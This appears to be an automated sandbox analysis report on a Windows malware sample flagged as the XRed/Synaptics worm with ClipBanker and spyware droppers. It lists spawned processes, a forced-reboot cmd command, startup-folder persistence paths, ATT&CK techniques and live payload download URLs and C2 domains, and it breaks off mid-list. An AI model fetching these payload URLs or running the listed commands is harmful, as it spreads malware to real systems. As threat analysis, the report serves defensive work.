Source: ._cache_2.exe, 00000009.00000003.3570733177.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}H
Source: ._cache_2.exe, 00000009.00000003.1874731856.000000000E37D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node			graph_0-130
Source: C:\Program Files (x86)\4.exe	API call chain: ExitProcess graph end node			graph_10-25641

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E20A0A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_00E20A0A

Source: C:\Windows\wic.exe

Code function: 12_2_0086827B OutputDebugStringA,GetLastError,

12_2_0086827B

Source: C:\Windows\wic.exe

Code function: 12_2_009B6896 VirtualProtect ?,-00000001,00000104,?,?,?,00000000

12_2_009B6896

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406A20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_00406A20

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E291B0 mov eax, dword ptr fs:[00000030h]

10_2_00E291B0

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E2D1F0 GetProcessHeap,

10_2_00E2D1F0

Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E20A0A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00E20A0A
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E20B9D SetUnhandledExceptionFilter,	10_2_00E20B9D
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E20D8A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00E20D8A
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E24FEF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00E24FEF
Source: C:\Windows\wic.exe	Code function: 12_2_009B3CED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_009B3CED
Source: C:\Windows\wic.exe	Code function: 12_2_009ABE77 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_009ABE77

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\1.exe "C:\Program Files (x86)\1.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\2.exe "C:\Program Files (x86)\2.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\3.exe "C:\Program Files (x86)\3.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\4.exe "C:\Program Files (x86)\4.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\wic.exe "C:\Windows\wic.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\Users\user\Desktop\._cache_1.exe "C:\Users\user\Desktop\._cache_1.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Process created: C:\Users\user\Desktop\._cache_2.exe "C:\Users\user\Desktop\._cache_2.exe" 0
Source: C:\Windows\wic.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E20826 cpuid

10_2_00E20826

Source: C:\Program Files (x86)\4.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		10_2_00E1C093
Source: C:\Windows\wic.exe	Code function: GetModuleHandleW,GetProcAddress,EncodePointer,DecodePointer,GetLocaleInfoEx,GetLocaleInfoW,		12_2_00887900

Source: C:\Program Files (x86)\1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E1F05C GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

10_2_00E1F05C

Source: C:\Users\user\Desktop\._cache_1.exe

Code function: 4_2_0040A4E0 GetVersionExA,MessageBoxA,GetDesktopWindow,_strcmpi,_strcmpi,_strcmpi,sprintf,MessageBoxA,MessageBoxA,MessageBoxA,

4_2_0040A4E0

Source: Amcache.hve.26.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.26.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.26.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.26.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.26.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.0.1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1493293372.00000000007F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5500, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE7D7.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.0.1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1493293372.00000000007F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5500, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE7D7.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_004084A0 WSAGetLastError,EndDialog,closesocket,inet_ntoa,closesocket,closesocket,socket,bind,EndDialog,closesocket,inet_addr,gethostbyname,rand,inet_addr,htons,connect,WSAGetLastError,inet_ntoa,EndDialog,closesocket,htonl,htonl,htonl,closesocket,_close,EndDialog,		4_2_004084A0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_00408290 time,srand,EndDialog,socket,EndDialog,bind,EndDialog,closesocket,inet_addr,gethostbyname,gethostbyname,rand,inet_addr,gethostbyname,rand,htons,connect,htonl,htonl,htonl,closesocket,_close,EndDialog,		4_2_00408290

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	1 Native API	41 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	21 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	21 Registry Run Keys / Startup Folder	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	324 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	142 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	21 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	87%	ReversingLabs	Win32.Ransomware.XRed
file.exe	100%	Avira	TR/VB.Downloader.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Program Files (x86)\2.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Program Files (x86)\2.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe	100%	Avira	HEUR/AGEN.1317762
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Windows\cbas.exe	100%	Avira	HEUR/AGEN.1317762
C:\Users\user\AppData\Local\Temp\RCXF081.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\RCXF081.tmp	100%	Avira	TR/VB.Downloader.Gen
C:\Users\user\AppData\Local\Temp\RCXF081.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXE7D7.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXE7D7.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Program Files (x86)\1.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Program Files (x86)\1.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Program Files (x86)\3.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	100%	Avira	HEUR/AGEN.1315939
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	100%	Avira	TR/VB.Downloader.Gen
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\2.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	100%	Joe Sandbox ML
C:\Windows\cbas.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RCXF081.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXE7D7.tmp	100%	Joe Sandbox ML
C:\Program Files (x86)\1.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	Joe Sandbox ML
C:\Program Files (x86)\3.exe	100%	Joe Sandbox ML
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\4[1].exe	100%	Joe Sandbox ML
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	100%	Joe Sandbox ML
C:\Program Files (x86)\4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	100%	Joe Sandbox ML
C:\Program Files (x86)\1.exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Program Files (x86)\2.exe	89%	ReversingLabs	Win32.Worm.Zorex
C:\Program Files (x86)\3.exe	87%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Program Files (x86)\4.exe	68%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\ProgramData\Synaptics\RCXE7D7.tmp	100%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	91%	ReversingLabs	Win32.Trojan.SpywareX
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	71%	ReversingLabs	Win32.Trojan.SpywareX
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	87%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msslac[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\4[1].exe	68%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	89%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\wic[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe	87%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	92%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\Desktop\._cache_1.exe	21%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\._cache_2.exe	12%	ReversingLabs
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	ReversingLabs	Win32.Worm.Zorex
C:\Windows\cbas.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\msslac.dll	0%	ReversingLabs
C:\Windows\wic.exe	39%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe~	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeB7C:	0%	Avira URL Cloud	safe
http://lineage.ncsoft.co.kr/download/	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeI	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeh	0%	Avira URL Cloud	safe
http://LineageTheBloodPledge.com/.lin.binUpdError.txtrestime.dattime.dat210.81.242.130202.85.231.112	0%	Avira URL Cloud	safe
http://LineageTheBloodPledge.com/.	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe8O	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe#	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exetO	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeG__	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exetO	0%	Avira URL Cloud	safe
http://google.comx	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeJ	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/I	0%	Avira URL Cloud	safe
http://www.lineageonline.jp/	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe1	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeLMEMpx/w	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeX	0%	Avira URL Cloud	safe
https://docs.goo	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exePEz	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeOOC:	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dlh	100%	Avira URL Cloud	malware
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exeFHg	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
eu-central-1.oss-acc.aliyuncs.com	47.254.187.72	true	true	unknown
docs.google.com	142.250.185.142	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.186.33	true	false	high
bruplong.oss-accelerate.aliyuncs.com	unknown	unknown	true	unknown
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe	true	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe	true	Avira URL Cloud: safe	unknown
xred.mooo.com	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe	true	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe	true	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://docs.google.com/google.com/ta	Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeB7C:	file.exe, 00000000.00000003.1482793822.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	false		high
http://lineage.ncsoft.co.kr/download/	._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://LineageTheBloodPledge.com/.	._cache_1.exe, ._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, ._cache_1.exe, 00000004.00000003.1536576242.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000002.1542807075.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000002.1543154013.00000000006DB000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000003.1536335641.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000003.1536799402.00000000006D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/v	Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://LineageTheBloodPledge.com/.lin.binUpdError.txtrestime.dattime.dat210.81.242.130202.85.231.112	._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0B/	Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeI	file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://google.com	file.exe, 00000000.00000000.1447118990.0000000000400000.00000002.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1447138631.0000000000406000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1588506794.000000000074E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1587567918.0000000000400000.00000002.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1587658860.0000000000404000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1514226721.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1514799981.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1514773240.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 